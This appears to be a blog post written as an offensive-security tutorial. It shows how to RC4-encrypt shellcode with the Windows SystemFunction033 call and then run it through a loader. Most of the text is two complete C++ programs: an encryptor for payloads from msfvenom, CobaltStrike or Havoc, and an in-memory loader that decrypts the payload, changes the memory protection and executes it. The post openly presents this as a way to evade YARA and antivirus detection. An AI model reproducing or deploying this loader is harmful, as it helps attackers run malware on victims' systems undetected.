What is SystemFunction033
It is basically a function is Advapi32.dll which can do in RC4 encryption and decryption in memory
Read and learn about it from below links
Tribute
So in his tweet https://twitter.com/ShitSecure/status/1589276402532384768 asked what you think at night?
Here's a copy of his blog post but in C++
Shellcode Encode
First you want your shellcode to encode (what a silly requirement . You can get it from msfvenom or CobaltStrike or Havoc C2
If you got in raw format you can use below command to quickly turn it into cpp usable format
xxd -i shellcode.bin > shellcode.h
#include <windows.h>
#include <Winbase.h>
#include <iostream>
#include <string>
#include "shellcode.h"
#pragma warning(disable:4996)
using namespace std;
// Function prototype for SystemFunction033
typedef NTSTATUS(WINAPI* _SystemFunction033)(
struct ustring* memoryRegion,
struct ustring* keyPointer);
struct ustring {
DWORD Length;
DWORD MaximumLength;
PVOID Buffer;
} _data, key, _data2;
int main()
{
_SystemFunction033 SystemFunction033 = (_SystemFunction033)GetProcAddress(LoadLibrary(L"advapi32"), "SystemFunction033");
char _key[] = "alphaBetagamma";
//Hello
//unsigned char shellcode[] = { 0x48,0x65,0x6c,0x6c,0x6f };
//Encrypted RC4
//unsigned char shellcode[] = { 0x41, 0xd6, 0xaa, 0x12, 0x8e };
unsigned int shellcode_size = sizeof(shellcode);
PVOID buffer = VirtualAlloc(NULL, sizeof(shellcode), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
// Copy the character array to the allocated memory using memcpy.
std::memcpy(buffer, shellcode, shellcode_size);
//just setting null values at shellcode, cause why not
memset(shellcode, 0, shellcode_size);
//Setting key values
key.Buffer = (&_key);
key.Length = sizeof(_key);
//Setting shellcode in the struct for Systemfunction033
_data.Buffer = buffer;
_data.Length = shellcode_size;
//Calling Systemfunction033
SystemFunction033(&_data, &key);
//Writing encrypted shellcode to bin file
FILE* fp = fopen("enc_shellcode.bin", "wb");
// Write the contents of the pvoid pointer to the file. They contents should be encrypted
fwrite(buffer, shellcode_size, 1, fp);
// Close the file
fclose(fp);
//instead if you want to print out the mem contents
/*
for (unsigned int i = 0; i < _data.Length; i++)
{
cout << std::hex << (unsigned int)*((unsigned char*)buffer + i) << " ";
}
*/
return 0;
}
Check the file enc_shellcode.bin, you should have an encrypted shellcode
Shellcode Injection with Systemfunction033
Hoping you got the enc_shellcode.bin file now its time to get it decrypted in memory again
But first lets get your encrypted shellcode in cpp
xxd -i enc_shellcode.bin > enc_shellcode.h
Now once we have that header file lets begin simple injection in memory
#include <windows.h>
#include <Winbase.h>
#include <iostream>
#include <string>
#include "enc_shellcode.h"
#pragma warning(disable:4996)
using namespace std;
// Function prototype for SystemFunction033
typedef NTSTATUS(WINAPI* _SystemFunction033)(
struct ustring* memoryRegion,
struct ustring* keyPointer);
struct ustring {
DWORD Length;
DWORD MaximumLength;
PVOID Buffer;
} _data, key, _data2;
int main()
{
_SystemFunction033 SystemFunction033 = (_SystemFunction033)GetProcAddress(LoadLibrary(L"advapi32"), "SystemFunction033");
char _key[] = "alphaBetagamma";
unsigned int shellcode_size = sizeof(shellcode);
PVOID buffer = VirtualAlloc(NULL, shellcode_size, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
// Copy the character array to the allocated memory using memcpy.
std::memcpy(buffer, shellcode, shellcode_size);
//just setting null values at shellcode, cause why not and why keep two copies in memory
memset(shellcode, 0, shellcode_size);
key.Buffer = (&_key);
key.Length = sizeof(_key);
_data.Buffer = buffer;
_data.Length = shellcode_size;
SystemFunction033(&_data, &key);
DWORD oldProtect = 0;
BOOL ret = VirtualProtect((LPVOID)buffer, shellcode_size, PAGE_EXECUTE_READ, &oldProtect);
((void(*)())buffer)();
WaitForSingleObject((HANDLE)-1, -1);
return 0;
}
Benefits ?
Bypass YARA detection if you are using Single Byte XOR
Defeat the AV "On Injection" shellcode detection as the decryption happens after the shellcode is put in memory
You dont want to write error prone code of encoding and decoding
Credits
As always, my sensei @vysecurity
Code stolen from https://osandamalith.com/2022/11/10/encrypting-shellcode-using-systemfunction032-033/